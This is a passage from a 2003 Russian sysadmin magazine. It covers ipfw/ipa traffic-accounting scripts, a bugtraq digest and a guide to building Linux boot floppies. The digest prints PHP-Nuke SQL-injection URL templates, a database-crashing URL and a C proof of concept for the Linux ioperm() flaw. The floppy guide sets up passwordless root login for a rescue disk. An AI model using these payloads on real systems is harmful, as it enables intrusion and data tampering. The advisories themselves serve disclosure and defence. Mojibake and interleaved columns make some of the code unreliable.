Во-вторых, на каждого пользователя должно приходиться по три строки, а номера правил должны последовательно возрастать на 1 с каждым правилом. Два последних ограничения довольно необычны, но чтобы их снять, потребовалось бы существенно усложнить скрипт. Соблюдать же их просто: достаточно не редактировать файл вручную, а предоставить это скрипту: #!/bin/sh ipa_users="/usr/local/etc/ipa.users" username_prefix="_" action=$1 ; username=$2 ipa_add_user () { username=$1 ; usernum=$2 printf "rule $username_prefix$username {\n\tipfw = $usernum\n}\n" \ >> $ipa_users if [ -r /var/run/ipa.pid ] ; then kill -HUP `cat /var/run/ipa.pid` >/dev/null 2>&1 sleep 5 fi }

администрирование if [ -f $ipa_users ] ; then startline=`grep -n "^rule $username_prefix$username " $ipa_users \ | awk -F: '{print $1}'` if [ $startline ] ; then usernum=`head -n $(expr $startline + 1) $ipa_users \ | tail -n 1 | awk -F= '{print $2}'` else usernum=`expr $count_startnum + $(wc -l < $ipa_users) / 3 + 1` ipa_add_user $username $usernum fi else usernum=`expr $count_startnum + 1` ipa_add_user $username $usernum fi if [ "$action" = "-" ] ; then /usr/local/sbin/ipa -k dump >/dev/null 2>&1 fi echo $usernum

Если файл конфигурации еще не существует, он создается и добавляется правилом с номером «$count_startnum + 1». Если же файл существует, то происходит проверка на наличие в нем пользователя с именем «$username», и в случае, если такой пользователь есть, выбирается имя соответствующего правила. Если пользователя нет, он добавляется с номером правила, вычисленным на основе числа строк в файле (очень просто, но именно это накладывает описанные выше ограничения). Переменная $username_prefix добавляется в файл конфигурации перед именем пользователя, то есть если она равна «_», то название правила изменится с username на _username, что существенно облегчит выборку и сортировку результатов подсчета трафика командой ipastat. Непосредственное взаимодействие с ipa производится в двух случаях: когда добавляются пользователи, ipa посылается сигнал HUP, а когда правило удаляется из таблицы ipfw, происходит сброс накопленной информации командой «ipa -k dump». В приведенном только что скрипте главное – не запутаться в переменных. Скрипту в качестве параметров передаются «$action $username», которые внутри него становятся соответственно $1 и $2. Так же ведет себя функция ipa_add_user, которая располагает переданные «$2 $usernum» в порядке поступления, $1 и $2. Внутренние переменные awk обозначаются так же, но содержат поля входного потока. Чтобы частично устранить путаницу, сначала переменным даются соответствующие алфавитные имена, а затем уже они используются по назначению. Функция printf позволяет форматировать текст при выводе, например добавлять в строку переносы «\n». Комбинация команд grep, head и tail, где для первой номер строки вычисляется с помощью expr, позволяет выделить из файла одну строку, из которой awk выделяет номер правила. В другом варианте (правила еще нет) количество строк в имеющемся файле подсчитывает команда «wc -l». Как только получен номер правила, остается лишь добавить его в таблицу ipfw. Всевозможные проблемы

№6(7), июнь 2003

несовместимости уже имеющегося набора правил и того набора, что модифицируются скриптом count_ipfw, проявляются именно на этом этапе. Написать сразу что-то более-менее универсальное практически невозможно, поэтому скрипт рассчитан только на один стандартный тип настройки ipfw: OPEN. firewall_enable="YES" Для этого нужно указать в /etc/rc.conf: firewall_type="OPEN"

Кстати, если в вашем ядре еще нет поддержки ipfw, совсем необязательно его перекомпилировать. Достаточно загрузить соответствующий модуль, и чтобы загрузка выполнялась автоматически при каждом старте системы, добавить соответствующую строку в /boot/loader.conf (за примерами – в /boot/defaults/loader.conf). Если эти манипуляции производятся на удаленном сервере, не забудьте о мерах предосторожности. Команда «ipfw show» при настройках ядра (или модуля) по умолчанию покажет следующее: # ipfw show 00100 0 00200 0 00300 0 65000 0 65535 0

0 allow ip from any to any via lo0 0 deny ip from any to 127.0.0.0/8 0 deny ip from 127.0.0.0/8 to any 0 allow ip from any to any 0 deny ip from any to any

Настройка «OPEN» предполагает добавление правила 65000, разрешающего все всем, так что неважно, с какими параметрами по умолчанию (правило 65535) собран ipfw. Поиск совпадений в таблице ipfw прекращается сразу после первого же совпадения с правилом deny или allow. Этим можно воспользоваться, чтобы отфильтровать трафик от самого шлюза во внешнюю сеть к пользователям (правило 32000): #!/bin/sh fwcmd="/sbin/ipfw" usernum=$2 ; address=$3 case $1 in +) action=add if ! $fwcmd show $count_startnum >/dev/null 2>&1 ; then $fwcmd $action $count_startnum allow ip from me to any fi if ! $fwcmd show $usernum 2>/dev/null | grep -q $address then $fwcmd $action $usernum count ip from any to $address fi ;; -) action=delete $fwcmd $action $usernum count ip from any to $address ;; *) exit 1 ;; esac

В результате запуска count_gate таблица ipfw приобретает такой вид:

администрирование 00100 00200 00300 32000 32001 32002 65000 65535

0 0 0 0 0 0 0 0

0 allow ip from any to any via lo0 0 deny ip from any to 127.0.0.0/8 0 deny ip from 127.0.0.0/8 to any 0 allow ip from me to any 0 count ip from any to 192.168.0.167 0 count ip from any to 192.168.0.174 0 allow ip from any to any 0 deny ip from any to any

Конечно, можно вместо «count» написать «allow», и добавить примерно такое правило: 60000

0 deny ip from any to 192.168.0.0/24

В таком случае воспользоваться доступом к внешней сети смогут только авторизованные пользователи. Но будьте готовы к тому, что при любом сбое (ошибки в скрипте, неверный алгоритм...) могут начаться проблемы. Команда «ipfw show» – неплохое средство диагностики. Во второй колонке содержится количество попавших под правило пакетов, а в третьей – количество байт (сразу после запуска обе могут быть пусты). В скрипте count_ipfw также используется эта команда, для того чтобы выяснить, существует ли соответствующее правило. Взаимодействие скриптов может быть представлено на такой схеме: --------------------------| samba, pppd, ... | user | --> +/- user address --> ----------------------------------------------| gate | ipfw + ipa | ---------------------

Список слева можно расширить. Первое, что потребуется добавить, – скрипт, выдающий статический список имен пользователей и адресов, не входящих ни в домен Samba, ни в список пользователей удаленного доступа. Связка «ipfw + ipa» может быть заменена на любую другую, выполняющую аналогичные функции. Таким образом, вся система учета основана на двух «каркасных» скриптах, в значительной мере абстрагированных от конкретных приложений. Общаться по выбранному протоколу эти скрипты могут как непосредственно, так и через tcp-клиент. В первом случае запускаемый count_gate запускает, в свою очередь, count_user, во втором он запускает count_client, который соединяется с сервером count_user.

Сервер не сложно организовать на основе inetd, потребуется добавить в /etc/services: count

27777/tcp

И в /etc/inetd.conf примерно такую строку: count nobody

stream tcp nowait ↵ /usr/local/bin/count_user

count

После перезапуска inetd, который выполняется командой «killall -HUP inetd», сервер заработает. Порт 27777 выбран произвольно.

Стандартный сервер inetd предоставляет упрощенный способ создания собственных серверов без написания сетевого кода. В данном случае скрипт использует стандартный вывод, как обычно, а данные через открытый inetd-сокет передаются по сети. Клиент можно использовать любой, например, telnet или nc, установленный из пакета netcat. Его же, кстати, можно использовать в качестве сервера. Еще лучше подойдет клиент, который отслеживает состояние родительского процесса и завершает работу в случае его отсутствия (то же самое делает count_user в случае, когда его локально запускает count_gate). Это помогает избежать проблем с лишними процессами после остановки count_gate. Для корректного подсчета трафика очень важно правильно настроить ipa. Подробные рекомендации по настройке находятся по адресу http://ipasystem.sourceforge .net/, в том числе на русском. Наиболее важные параметры, которые необходимо установить, находятся в секции global. Вот пример файла /usr/local/etc/ipa.conf: global { maxchunk = 1G update_db_time = 1m append_db_time = 30m } include { file(?) = /usr/local/etc/ipa.users }

Скрипт в start/stop стиле, соответствующий tcp-клиент, а также все входящие в пакет скрипты можно найти по адресу http://utcount.sourceforge.net/. На момент написания статьи последняя версия пакета 0.04.

bugtraq SQL-инъекция в нескольких модулях в PHP-Nuke Несколько уязвимостей обнаружено в PHP-Nuke. Удаленный пользователь может выполнить произвольные SQL-команды на связанной базе данных, а также нарушить работу базы данных. Сообщается, что удаленный пользователь может сконструировать специально обработанный URL, чтобы выполнить произвольные SQL-команды на связанной базе данных. Уязвимы следующие переменные: 'secid' 'sid' 'pollID' 'cid' 'id' 'cid'

â â â â â â

ìîäóëå ìîäóëå ìîäóëå ìîäóëå ìîäóëå ìîäóëå

Sections AvantGo Surveys Downloads Reviews Web_Links

Пример: http://[target]/ modules.php?name=Sections&op=listarticles&secid=`[YOUR QUERY] http://[target]/ modules.php?name=Sections&op=viewarticle&artid=`[YOUR QUERY] http://[target]/ modules.php?name=Sections&op=printpage&artid==`[YOUR QUERY] http://[target]/modules.php?name=AvantGo&file=print&sid=`[YOUR QUERY] http://[target]/modules.php?name=Surveys&pollID=`[YOUR QUERY] http://[target]/modules.php?name=Surveys&op=results&pollID=`[YOUR QUERY]&mode=&order=0&thold=0 http://[target]/ modules.php?name=Downloads&d_op=viewdownload&cid=` [YOUR QUERY] http://[target]/ modules.php?name=Downloads&d_op=viewdownload&cid=`[YOUR QUERY]&orderby=titleD http://[target]/modules.php?name=Reviews&rop=showcontent&id=` [YOUR QUERY] http://[target]/ modules.php?name=Web_Links&l_op=viewlink&cid=`[YOUR QUERY] http://[target]/ modules.php?name=Web_Links&l_op=MostPopular&ratenum=`[YOUR QUERY]&ratetype=num http://[target]/modules.php?name=Downloads&ratinglid=[FILE TO RATE]& http://[target]/ modules.php?name=Web_Links&ratinglid=96&ratinguser=? &ratinghost_name=?&rating=99999999999999999999999 9999999999

Также сообщается, что удаленный пользователь может нарушить работу целевого сервера базы данных. Пример: http://[target]/ modules.php?name=Downloads&ratinglid=[FILE TO RATE]&ratinguser=? &ratinghost_name=?&rating=9999999999999999999 9999999999999999999999999999999999999999999999999999

Уязвимость обнаружена в PHP-Nuke 5.5, 6.0, 6.5.

Выполнение произвольного кода в Adobe Acrobat при чтении злонамеренного PDF-файла Уязвимость обнаружена в полной версии Adobe Acrobat. Удаленный пользователь может создать злонамеренный PDF-файл, чтобы выполнить произвольный код на целевой системе пользователя. Когда злонамеренный PDF-файл загружен в Adobe Acrobat целевого пользователя, произвольный код будет установлен на целевой системе пользователя и будет выполнен во время следующей загрузки Acrobat. Бесплатная версия Acrobat Reader неуязвима.

№6(7), июнь 2003

Уязвимость обнаружена в механизме обработки Javascript-кода. Удаленный пользователь может сконструировать злонамеренный PDF-документ, чтобы записать код в Plug-ins папку целевого пользователя. Соответственно отформатированные файлы в этой папке автоматически устанавливаются и выполняются при запуске Acrobat. Сообщается, что уже существует вирус, способный эксплуатировать эту уязвимость. Уязвимость обнаружена в Adobe Acrobat (Full Version) 5.0-5.0.5.

Удаленное выполнение произвольного кода в AnalogX Proxy Переполнение буфера обнаружено в AnalogX Proxy. Удаленный пользователь может выполнить произвольный код на целевой системе. Network Intelligence India сообщает, что удаленный пользователь может представить URL, который содержит более 340 символов, чтобы вызвать переполнение буфера в прокси-сервере. Согласно сообщению, Proxy принимает подключения на всех интерфейсах в конфигурации по умолчанию. Удаленный пользователь может подключиться к 6588 и представить специально обработанный URL, чтобы выполнить произвольный код на прокси-сервере с административными привилегиями. Уязвимость обнаружена в AnalogX Proxy 4.13.

Уязвимость в ioperm() позволяет локальному пользователю обращаться к привилегированным I/O-портам Уязвимость обнаружена в ядре Linux 2.4 в системном вызове 'ioperm'. Сообщается, что локальный пользователь может получить доступ на чтение и запись к привилегированным I/Oпортам (например, к портам 1023 и ниже). Пример: программа позволяет непривилегированному пользователю читать и записывать в I/O-порты с адресом ниже 0x3ff (1023): #include #include #include int main(int argc, char **argv) if (argc < 2) { (void) fprintf(stderr, "Usage: %s PORT [VALUE]\n", argv[0]); return (2); } if (ioperm(1023, 1, 0) == -1) { perror("ioperm"); return (1); } if (argc < 3) { (void) printf("0x%02x\n", inb(atoi(argv[1]))); } else { outb(atoi(argv[2]), atoi(argv[1])); } return (0);

Уязвимость обнаружена в 2.4, prior to 2.4.21-rc2. Составил Александр Антипов

администрирование

СОЗДАНИЕ ЗАГРУЗОЧНЫХ ДИСКЕТ И CD-ДИСКОВ LINUX

администрирование Для чего применяются «микро-дистрибутивы»? Примеров применения можно найти море: аварийная дискета; маршрутизатор (www.linuxrouter.org); брандмауэр; бездисковый клиент NFS; утилита для клонирования системы; система для контроля дисковых разделов; смена «забытого» пароля; система, предназначенная для обучения новичков; набор для комфортной работы на любом компьютере; сервер печати; любой сетевой сервер.

В этой статье пойдет речь о создании загрузочных дискет и CD-дисков Linux, которые бывают полезны, а зачастую и необходимы во многих ситуациях, начиная от банального восстановления забытого пароля и заканчивая работой в качестве print-сервера.

ВСЕВОЛОД СТАХОВ №6(7), июнь 2003

На самом деле этот список можно продолжать бесконечно, т.к. существует множество ситуаций, когда необходима мобильность системы и возможность запуска в аварийных ситуациях. Большинство современных дистрибутивов поставляется с аварийной консолью, помогающей справиться с проблемами. На сайте www.linuxlinks.com можно найти огромное количество ссылок на различные виды мини-дистрибутивов, каждый из которых предназначен для решения определённых задач. Но я не думаю, что каждый готов выкачивать мегабайты из сети, чтобы решить свою конкретную проблему. Кроме этого, весьма полезно иметь под рукой мульти-загрузочный CD, содержащий несколько мини-дистрибутивов на одном диске. Обо всем этом вы можете узнать, прочитав эту статью. Также хорошим источником информации является Bootdisk-HOWTO. Перед созданием загрузочного диска необходимо четко представлять цель, с которой этот диск создается, чтобы впоследствии не пожалеть о бесполезно затраченном времени. Выбор ядра также должен определяться конечной целью. В любом случае при выборе ядра учтите следующие факты: ядра 2.2 версий обычно меньше по размеру, но менее функциональны; ядро следует брать как можно новее (но обязательно из стабильной ветки), например, на момент написания этой статьи я расцениваю «новыми» ядра 2.4.20 и 2.2.20 и выше; новые ядра используют компрессию bzip2 и дают выигрыш в размере; если не планируется работа с сетью, то отказ от использования TCP/IP дает очень существенный выигрыш в размере (до 300 Кб!); в ядро обязательно нужно включить поддержку ext2fs и ramdisk, если планируется загрузка ядра при помощи syslinux, то также необходимо включить поддержку msdosfs; лучше всего выключить оптимизацию ядра под определенный процессор, лучше всего будет оставить i386; я не очень уверен насчет целесообразности использования модулей, но если нужна максимальная переносимость, то модули применять, конечно, можно; если вам необходим NFS-дистрибутив, то необходимо установить поддержку nfs на странице настройки файловых систем (в make menuconfig);

администрирование наконец, последний и самый важный совет – удаляйте из ядра все лишнее без сожаления, первыми кандидатами на удаление являются редкие устройства, звуковые карты, система netfilter и прочие полезности со страницы networking options, хотя если вы создаете nfsдистрибутив, то от этого правила можно отойти, т.к. основная файловая система все равно будет находиться на удаленной машине, а ядро фактически в любом случае влезает на дискету.

CD, аварийное восстановление системы и т. д. Ядро для таких дистрибутивов строится без особых ограничений к размеру (т.к. в основном полноценное ядро занимает около 1 Мб) и обязательно должно содержать TCP/IP и поддержку NFS (см. раздел filesystems в make menuconfig). После компиляции ядра (модули этого ядра должны быть установлены на NFS-раздел в соответствующий каталог) необходимо сформировать ext2fs на дискете: # mke2fs -N 300 /dev/fd0

Каким образом будет грузиться ядро? Существует несколько способов загрузки ядра с дискеты: ядро, будучи записанным на дискету, начиная с 0-го сектора, распаковывается в память и запускается при помощи так называемого kernel loader, этот способ хорош своей быстротой и простотой реализации (фактически ядро записывается непосредственно на дискету без файловой системы), но при этом невозможно непосредственно указывать параметры ядру, что не подходит для создания NFS-дистрибутивов; на дискете формируется обычная файловая система ext2, и ядро записывается непосредственно на файловую систему, при этом возможно манипулирование с дискетой как с обычным ext2-томом, загрузка происходит при помощи lilo, записанного на дискету (необходимо формировать специальный конфигурационный файл для lilo, что будет объяснено далее), преимущества такого способа в том, что при помощи lilo очень просто передавать ядру определённые параметры (что необходимо для использования NFS в качестве rootустройства), недостаток – файловая система на дискете не сжата, поэтому создание root-fs на дискете лишено смысла, т.к. на несжатую систему весьма сложно записать все необходимое; на дискете формируется msdosfs, и загрузка ядра происходит из msdos-программы syslinux, при таком способе появляется возможность работы с такой дискетой в msdos (win*), сама root файловая система сжимается при помощи zip. Самая большая проблема при создании floppy-дистрибутивов – это формирование корневой файловой системы (которая обычно загружается в память). Корневая файловая система не находится на дискете в NFS-дистрибутивах, что сильно облегчает создание загрузочной дискеты. Поэтому прежде чем говорить о создании дискет с автономной root-fs, я расскажу о создании NFS-дистрибутивов. NFS-дистрибутивы содержат на дискете только ядро, которому при загрузке передается параметр nfsroot, показывающий, что root-fs находится на NFS-сервере. Ядро монтирует NFS и запускает init. Все операции ядра с rootfs происходят по протоколу rpc в открытом виде, что, конечно, небезопасно. Поэтому не рекомендуется хранить ценные данные на NFS-разделах, особенно это касается паролей (для NFS-системы обязательно иметь особые пароли, которые также полезно время от времени менять). NFS-системы довольно сильно нагружают сеть и годятся только для LAN. NFS-дистрибутивы полезны во многих случаях: резервное копирование, клонирование, запись

Опция -N 300 говорит, что необходимо зарезервировать место для 300 inode (хотя в данном случае это число можно и уменьшить на порядок) для экономии места. После формирования файловой системы записываем на дискету ядро: # mount -t ext2fs -o rw /dev/fd0 /mnt/tmp # cp $KERNELSRC/arch/i386/boot/bzImage /mnt/tmp/vmlinuz # umount /dev/fd0

После этого начинаем настройку lilo: /tmp/lilo.conf.tmp boot=/dev/fd0 prompt timeout=50 compact vga=normal read-only menu-title=" NFS-distributive " image=/vmlinuz label=linux append="root=/dev/nfs nfsroot=192.168.1.1:/exports/debian ↵ ip=::::nfs-client::bootp"

Несколько поясню значения параметров:

root=/dev/nfs – указывает ядру, что root-fs находится на NFS-сервере;

nfsroot – параметр, указывающий ядру, где искать nfsroot в виде: nfsroot=[<server-ip>:]<root-dir>[,<nfs-options>]

root-dir должна указываться как абсолютный путь на сервере (как это указано в /etc/exports на NFS-сервере);

ip – настройки IP-протокола, в данном примере все настройки получаются от bootp-сервера, в общем случае этот параметр выглядит таким образом: ip=<client-ip>:<server-ip>:<gw-ip>:<netmask>:<hostname>: ↵ <device>:<autoconf>

если какое-либо поле не указывается, то просто ставится :, например, для настройки статического IP (что пригодится для использования, например, в print-сервере): ip=192.168.1.102:192.168.1.1:192.168.1.1:255.255.255.0: ↵ print-server:eth0:

Если используется автоконфигурирование IP при помощи bootp или rarp, то необходимо включить поддержку этих протоколов в ядре (IP: kernel level autoconfiguration на странице Networking options). В качестве bootp-сервера можно применять ISC dhcpd, но в директиве range должно присутствовать ключевое слово dynamic-bootp (range

администрирование dynmaic-bootp 192.168.2.1 192.168.2.100), и для каждого клиента bootp должна быть отдельная директива host: host hostname{ [parameters] }

Эта директива разрешает выдачу IP-адресов только определённым хостам. Настройка сервера NFS также не должна вызвать особых проблем. При компиляции ядра нужно включить поддержку nfs-сервера и установить программы mountd и nfsd. После этого необходимо выбрать каталог и установить туда GNU/Linux. Вариантов может быть несколько: можно взять жесткий диск, установить на него Gnu/Linux и примонтировать в необходимый каталог на сервере, а можно просто скопировать все файлы с дискового мини-дистрибутива. У нас, например, в качестве NFS-системы используется debian. Далее необходимо отредактировать файл /etc/exports: /exports/debian nfs-client(rw,no_root_squash)

где: /exports/debian – каталог, в котором расположена основная nfs-система; nfs-client – имя хоста нашего мини-дистрибутива, опции rw и no_root_squash говорят о возможности монтирования этим клиентом этого каталога для записи и о том, что этот клиент может осуществлять доступ к данному каталогу от имени суперпользователя. Далее необходимо запустить mountd и nfsd: # rpc.mountd # rpc.nfsd

Можно проверить правильность их работы при помощи команд: # rpcinfo -p # showmount --export

После этого завершаем построение нашего дистрибутива и записываем на дискету lilo. Для начала необходимо скопировать загрузочный сектор lilo с жесткого диска на дискету:

...cut... image=/vmlinuz ...cut... password="my_password" mandatory

На этом я завершаю описание построения NFS-дистрибутива и перехожу к рассказу о создании автономных дистрибутивов. Основное отличие автономного дистрибутива от NFSдистрибутива в том, что корневая файловая система автономного дистрибутива расположена на дискете. Главная проблема такого дистрибутива – небольшой объем дискеты. Поэтому приходится запаковывать root-fs для записи на дискету и распаковывать при загрузке ядра в память. Такая схема позволяет уместить на дискету гораздо больше информации и избежать другого неприятного недостатка дискеты (и в меньшей степени компактдиска) – неспешности операций ввода/вывода. Формирование корневой файловой системы – процесс, требующий определённых навыков, поэтому я более подробно остановлюсь на этом этапе создания автономного дистрибутива. Как ядро определяет, какое устройство использовать в качестве root-fs? Во-первых, исследуется параметр root (если ядру не передано никаких параметров, то оно начинает исследовать блочные устройства и ищет первую ext2fs), далее используется параметр initrd (initial ram disk). Внимание: для поддержки initrd необходимо включить опцию Block devices → Initial RAM disk support. Этот параметр указывает на компрессированную файловую систему, которая распаковывается в память и используется в качестве root-fs на этапе инициализации ядра (в дальнейшем корневая ФС может измениться, что полезно, например, для загрузки модульного ядра, когда основной корневой раздел имеет ФС, которая не вкомпилирована в ядро; в этом случае единственным выходом является создание initrd, содержащего необходимые модули). Что представляет из себя initrd, и как его создавать? На самом деле initrd – это обычное устройство, на котором расположена корневая ФС. Создание ramdisk не должно представлять особых проблем. Для начала необходимо создать некомпрессированный образ ram-диска (он должен быть достаточных размеров, обычный размер – 3 Мб.): # dd if=/dev/zero of=/tmp/initrd.img bs=1024 count=3072

# mount -t ext2 /dev/fd0 /mnt/tmp # mkdir /mnt/tmp/boot # cp /boot/boot.b /mnt/tmp/boot

также полезно будет скопировать конфигурационный файл lilo: # cp /tmp/lilo.conf.tmp /mnt/tmp/lilo.conf # /sbin/lilo -v -C /mnt/tmp/lilo.conf -r /mnt/tmp

Опция -r говорит lilo о необходимости использовать другой корневой каталог (в нашем случае дискету). Некоторые, возможно, захотят защитить свою дискету паролем, хотя я не очень бы полагался на надежность такой защиты (изготовить свою дискету не составит труда), но все-таки опишу необходимые для этого настройки в lilo.conf:

№6(7), июнь 2003

Изначально мы заполняем весь образ 0, поэтому при сжатии лишние нули места занимать не будут (самая плохая идея – копировать в образ /dev/random, т.к. никакому сжатию он не подвергается, и размер ram-диска может существенно превышать фактический размер дискеты. Далее создаем ext2fs (обратите внимание на число inode): # mke2fs -N 360 -m 0 /tmp/initrd.img

монтируем образ (в ядре должна быть включена поддержка loop devices – см. на странице Block devices -> Loop device support): # mount -t ext2 -o loop /mnt/tmp /tmp/initrd.img

администрирование Недавно я обнаружил одну занимательную вещь: если создать 3 Мб ram-диск и записать на него 3 Мб данных, а потом стереть 1 Мб, то сожмется такой файл очень слабо, т.к. изначально весь образ был заполнен нулями, а после удаления на месте файлов нули не пишутся, что намного уменьшает эффективность архивации. Поэтому для экспериментов лучше не использовать образ, а поколдовать где-нибудь на основной файловой системе, а потом все перенести на ram-диск при помощи cp с флагами -dpR (cp -dpR ./* /mnt/tmp). После этого можно приступать к созданию файловой структуры корневого раздела нашей дискеты. Для начала создаем все необходимые каталоги: /bin /sbin /dev /tmp /etc /usr /lib /usr/bin /proc /usr/sbin /root /var

# Ïóòü ê èíèöèàëèçàöèîííîìó ñêðèïòó: si::sysinit:/etc/rc # Çàïóñê /sbin/getty äëÿ âèðòóàëüíûõ êîíñîëåé (â äàííîì # ïðèìåðå 3, íî ìîæåò áûòü è áîëüøå, òîëüêî ó÷òèòå, # ÷òî óñòðîéñòâà ttyX äîëæíû íàõîäèòüñÿ â êàòàëîãå # /dev ram-äèñêà): 1:2345:respawn:/sbin/getty 9600 tty1 linux 2:23:respawn:/sbin/getty 9600 tty2 linux 3:23:respawn:/sbin/getty 9600 tty3 linux # Ïåðåçàãðóçêà ïðè íàæàòèè êëàâèø Ctrl+Alt+Del: ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now

hosts:

files

После этого необходимо скопировать все нужные для работы устройства (ни в коем случае не копируйте слишком много устройств, т.к. файлы устройств – настоящие пожиратели inode), следующие устройства обязаны присутствовать в системе:

networks: protocols: services:

files files files

# # # #

cp cp cp cp

-dpR -dpR -dpR -dpR

/dev/tty[0-6] /mnt/tmp/dev /dev/fd0* /mnt/tmp/dev /dev/console /mnt/tmp/dev /dev/kmem /mnt/tmp/dev

То же самое проделываем для устройств /dev/mem, /dev/ null, /dev/ram0. Если необходим доступ к дискам, то также можно скопировать и файлы /dev/hd* (или /dev/sd* для SCSI-дисков). Если вы получите сообщение о нехватке места, то придется увеличить количество inode (необходимо пересоздать ext2fs с большим числом inode и повторить все операции заново). После создания файлов устройств перейдем к созданию файлов в каталоге /etc. Безусловно, это одна из трудоемких операций, т.к. фактически мы создаем собственный дистрибутив с оригинальной конфигурацией, но я все-таки попытаюсь как можно более наглядно описать основные вехи формирования этого каталога. Вопервых, необходимо создать /etc/passwd, /etc/fstab, /etc/ inittab, /etc/groups, /etc/nssswitch.conf, которые могут выглядеть следующим образом: /etc/passwd root::0:0:root:/root:/bin/sh daemon:*:1:1:daemon:/sbin:/bin/sh bin:*:2:2:bin:/bin:/bin/sh sys:*:3:3:sys:/dev:/bin/sh sync:*:4:100:sync:/bin:/bin/sync games:*:5:100:games:/usr/games:/bin/sh man:*:6:100:man:/var/cache/man:/bin/sh lp:*:7:7:lp:/var/spool/lpd:/bin/sh mail:*:8:8:mail:/var/mail:/bin/sh /etc/fstab /dev/ram0 proc

/ /proc

/etc/inittab # Runlevel ïî óìîë÷àíèþ: id:2:initdefault:

ext2 proc

/etc/group root:x:0: daemon:x:1: bin:x:2: sys:x:3: tty:x:5: disk:x:6: lp:x:7:lp mail:x:8: /etc/nsswitch.conf passwd: files shadow: files group: files

Кроме этого, необходимо настроить pam так, чтобы можно было заходить в систему, не вводя пароля (т.к. пароль как мера безопасности бесполезен на дискете, гораздо лучше, например, защитить образ при помощи пароля lilo): /etc/pam.conf OTHER auth OTHER account OTHER password OTHER session

optional optional optional optional

/lib/security/pam_permit.so /lib/security/pam_permit.so /lib/security/pam_permit.so /lib/security/pam_permit.so

После чего можно перейти к настройке стартовых скриптов. Здесь есть два варианта: 1) перекопировать /etc/inittab, /etc/init.d и /etc/rc.* на ramдиск и удалить ненужные скрипты; 2) создать свой inittab и простой стартовый скрипт (который указывается в inittab директивой si::sysinit:/ path_to_script), подобный следующему: /etc/rc #!/bin/sh # Óñòàíàâëèâàåì ïåðåìåííûå ñðåäû: PATH=/bin:/sbin:/usr/bin:/usr/sbin # Ìîíòèðóåì ôàéëîâûå ñèñòåìû: /bin/mount -av # Óñòàíàâëèâàåì èìÿ õîñòà: /bin/hostname floppy-dist # Íàñòðàèâàåì è çàïóñêàåì ñåòåâîé èíòåðôåéñ (åñëè ýòî íóæíî): /sbin/ifconfig eth0 192.168.1.1 netmask 255.255.255.0 ↵ broadcast 192.168.1.255 /sbin/ifconfig eth0 up # Íàñòðàèâàåì ìàðøðóòèçàöèþ: /sbin/route add -net 192.168.1.0 netmask 255.255.255.0 ↵ gw 192.168.1.1 # Äàëåå ìîãóò áûòü äðóãèå êîìàíäû, â çàâèñèìîñòè îò # íàçíà÷åíèÿ äèñòðèáóòèâà export PATH

Не забудьте сделать этот файл исполняемым: defaults defaults

0 1 0 0

# chmod +x /mnt/tmp/etc/rc

Необходимо также иметь файлы настройки терминала (termcap или база terminfo). В моей системе (Debian

администрирование GNU/Linux) используется база terminfo, поэтому можно просто скопировать нужный терминал на ramdisk:

/lib/libpam_misc.so.0 – библиотека pam, нужная для login; /lib/libcrypt.so.1 – библиотека шифрования (также нуж-

# mkdir -p /mnt/tmp/etc/terminfo/l # cp /etc/terminfo/l/linux /mnt/tmp/etc/terminfo/l/linux

/lib/security/pam_permit.so – PAM-модуль, всегда под-

на для login);

Если планируется использование /etc/termcap, то просто скопируйте строки, относящиеся к терминалу linux из существующего файла на дискету. Содержимое каталога /etc может сильно различаться в зависимости от того, для каких целей планируется система, но, в общем, должны обязательно присутствовать вышеприведенные файлы. Далее необходимо заняться также весьма трудоемкой частью работы – созданием каталогов /bin, /sbin и /lib. Из-за небольшого размера дискеты на неё весьма сложно записать полноценную систему, поэтому очень часто приходится пользоваться «куцыми» аналогами системных утилит. Один из самых известных проектов – busybox, содержащий урезанные, но вполне функциональные аналоги стандартных утилит (cd, ls, sh, vi, ifconfig и других). Эти утилиты содержатся в едином выполняемом файле, на который обычно делают символические ссылки примерно таким образом: # cd /mnt/tmp # ln -s bin/busybox bin/cd # ln -s bin/busybox bin/ls

тверждающий права доступа. При выборе busybox лучше отановиться на динамически скомпонованной версии (использующей библиотеку СИ), т.к. библиотеку СИ (более 1 Мб) все равно придется копировать на ramdisk. При копировании библиотек учтите, что большинство отображаемых библиотек являются сивмолическими ссылками, поэтому не забывайте скопировать и ссылку, и файл, на который эта библиотека ссылается (копировать ссылку в этом случае надо с флагом -d). Если ваше ядро содержит модули, то не забудьте их скопировать на ram-диск (лучше весь каталог /lib/modules/ $KERNELVERSION/), также не забудьте скопировать исполняемые файлы insmod, modprobe, rmmod, lsmod и depmod в каталог /sbin на ram-диске. После всей этой мороки делаем заключительные действия: # mkdir -p /mnt/tmp/var/{log,run} # touch /mnt/tmp/var/run/utmp

кроме этого, настриваем динамический компоновщик: # ldconfig -r /mnt/tmp

Для создания всех символических ссылок необходимо проинсталлировать собранный из исходников следующим образом:

После этого отмонтируем образ: # umount /mnt/tmp

# make PREFIX=/mnt/tmp install

При добавлении исполняемых файлов на ram-диск, не забывайте проверять зависимости при помощи программы ldd: (debian:/etc)# ldd /sbin/init libc.so.6 => /lib/libc.so.6 (0x4001d000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Эти библиотеки также необходимо скопировать на ram-диск. Обязательно необходимо наличие следующих файлов: /sbin/init (есть в составе busybox, но я бы рекомендовал воспользоваться полноценным init); /sbin/getty; /bin/mount (busybox); /bin/sh (я использовал ash(NetBSD sh) – классический shell); /bin/login. Также весьма удобно наличие busybox. В папке /lib должны быть по крайней мере 3 библиотеки: /lib/libc.so.6 – стандартная библиотека СИ; /lib/ld-linux.so.2 – библиотека димамического компоновщика ld; /lib/libnss_files.so.2 – библиотека выбора сетевых служб (используется libc для выбора способа аутентификации, без этой библиотеки вы не сможете пройти этап логина); /lib/libdl.so.2 – библиотека загрузки DLL (нужна для login); /lib/libpam.so.0 – библиотека pam;

№6(7), июнь 2003

сжимаем его при помощи gzip (bzip2 не подходит) и записываем в какой-нибудь каталог: # gzip -c9 /tmp/initrd.img > ~/initrd.gz # rm -f /tmp/initrd.img

